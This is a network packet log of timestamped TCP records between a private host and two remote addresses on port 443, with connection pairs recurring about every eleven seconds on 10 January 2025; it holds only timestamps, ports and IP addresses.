Jan 10, 2025 15:36:52.870284081 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.871551991 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.871598005 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:52.872538090 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:52.872699976 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.873037100 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.914289951 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:53.212632895 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:53.212822914 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:53.213016987 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:53.213016033 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:53.213205099 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:53.213478088 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:53.213524103 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:03.227801085 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.227869034 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.228255987 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.228408098 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.228445053 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.482198000 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.482372999 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.482793093 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.482820988 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.482949018 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.482975960 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.756360054 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.756458044 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.756597042 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.756675005 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.756702900 CET	49798	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:03.756721973 CET	443	49798	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:03.775216103 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:03.775247097 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:03.775552988 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:03.775691986 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:03.775703907 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.032509089 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.032675028 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.032985926 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.033031940 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.033166885 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.033211946 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368096113 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368294001 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368333101 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.368396997 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368500948 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.368513107 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368545055 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.368659019 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.368659973 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:04.368711948 CET	443	49799	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:04.368942976 CET	49799	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:14.381479979 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.381510019 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.381728888 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.381889105 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.381899118 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.632647991 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.632869959 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.633599997 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.633610964 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.633642912 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.633649111 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.906682968 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.906744957 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.906923056 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.906923056 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.907073975 CET	49800	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:14.907089949 CET	443	49800	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:14.922389984 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:14.922410011 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:14.922597885 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:14.922782898 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:14.922792912 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.173244953 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.173525095 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.173847914 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.173858881 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.173866987 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.173872948 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.531192064 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.531251907 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.531307936 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:15.531385899 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.531452894 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.531553984 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.531877995 CET	49801	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:15.531893015 CET	443	49801	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:25.535070896 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.535094976 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:25.535337925 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.535465002 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.535473108 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:25.786005974 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:25.786298990 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.786638975 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.786648035 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:25.786778927 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:25.786787033 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:26.062530994 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:26.062616110 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:26.062753916 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:26.062835932 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:26.062928915 CET	49802	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:26.062946081 CET	443	49802	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:26.082132101 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.082161903 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.082437992 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.082623005 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.082633972 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.334131956 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.334300041 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.334590912 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.334598064 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.334688902 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.334700108 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.686074972 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.686300039 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.686404943 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.686455011 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.686481953 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.686482906 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.686759949 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.686907053 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.686907053 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:26.686923027 CET	443	49803	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:26.687119961 CET	49803	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:36.688956976 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.689074993 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:36.689388037 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.689512968 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.689557076 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:36.951539993 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:36.951919079 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.952171087 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.952223063 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:36.952313900 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:36.952339888 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:37.221931934 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:37.222162008 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:37.222167969 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:37.222253084 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:37.222294092 CET	443	49804	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:37.222342968 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:37.222472906 CET	49804	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:37.253442049 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.253525972 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.253762960 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.253914118 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.253946066 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.507287979 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.507539988 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.507920027 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.507930040 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.508049965 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.508060932 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.855696917 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.855734110 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.856126070 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.856126070 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.856141090 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.856273890 CET	443	49805	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:37.856336117 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.856547117 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.856547117 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:37.856547117 CET	49805	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:47.858228922 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:47.858319044 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:47.858494997 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:47.858673096 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:47.858726025 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.122934103 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.123183012 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.123518944 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.123569965 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.123718023 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.123763084 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.392334938 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.392522097 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.392575979 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.392771959 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.392846107 CET	49806	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:48.392890930 CET	443	49806	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:48.421190023 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.421260118 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:48.421498060 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.421752930 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.421804905 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:48.680047035 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:48.680327892 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.680629969 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.680675983 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:48.680723906 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:48.680753946 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:49.044145107 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:49.044365883 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:49.044429064 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:49.044444084 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:49.044450045 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:49.044553995 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:49.044644117 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:49.044903994 CET	49807	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:49.044915915 CET	443	49807	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:59.058876991 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.058991909 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.059216022 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.059397936 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.059453011 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.319561958 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.319717884 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.320108891 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.320149899 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.320281029 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.320317984 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.593499899 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.593732119 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.593789101 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.594016075 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.594073057 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.594254017 CET	443	49808	142.250.190.110	192.168.11.20
Jan 10, 2025 15:37:59.594469070 CET	49808	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:37:59.625886917 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.625967979 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:59.626216888 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.626382113 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.626431942 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:59.884953022 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:59.885279894 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.885643959 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.885689020 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:37:59.885791063 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:37:59.885838032 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:00.229198933 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:00.229387045 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:00.229427099 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:00.229450941 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:00.229597092 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:00.229614019 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:00.229763985 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:00.229871988 CET	49809	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:00.229918003 CET	443	49809	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:10.243947983 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.243983984 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.244209051 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.244364977 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.244378090 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.499301910 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.499576092 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.500766993 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.501024961 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.502190113 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.502208948 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.502696991 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.502862930 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.503175020 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.550210953 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.784295082 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.784492970 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.784668922 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.784668922 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.784823895 CET	49810	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:10.784868002 CET	443	49810	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:10.847255945 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:10.847337008 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:10.847964048 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:10.847964048 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:10.848088980 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.101558924 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.101768017 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.102210999 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.102230072 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.102350950 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.102366924 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.455617905 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.455708981 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.455769062 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.455811977 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.455905914 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.455926895 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.456242085 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.456242085 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:11.456264019 CET	443	49811	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:11.456478119 CET	49811	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:21.491847038 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.491961002 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:21.492341042 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.492552996 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.492618084 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:21.755582094 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:21.755738020 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.756042957 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.756064892 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:21.756140947 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:21.756162882 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:22.024020910 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:22.024223089 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:22.024247885 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:22.024437904 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:22.024507046 CET	49812	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:22.024559021 CET	443	49812	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:22.025424004 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.025504112 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.025712013 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.025868893 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.025906086 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.284784079 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.285027981 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.285342932 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.285388947 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.285501003 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.285547018 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.624716043 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.624834061 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:22.624881983 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.625062943 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.625425100 CET	49813	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:22.625441074 CET	443	49813	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:32.645358086 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.645376921 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:32.645524025 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.645747900 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.645756006 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:32.913265944 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:32.913476944 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.913830996 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.913878918 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:32.913973093 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:32.914019108 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:33.184262037 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:33.184457064 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:33.184562922 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:33.184676886 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:33.184724092 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:33.184724092 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:33.184777975 CET	443	49814	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:33.184894085 CET	49814	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:33.185302019 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.185378075 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.185610056 CET	49815	443	192.168.11.20	142.250.190.97
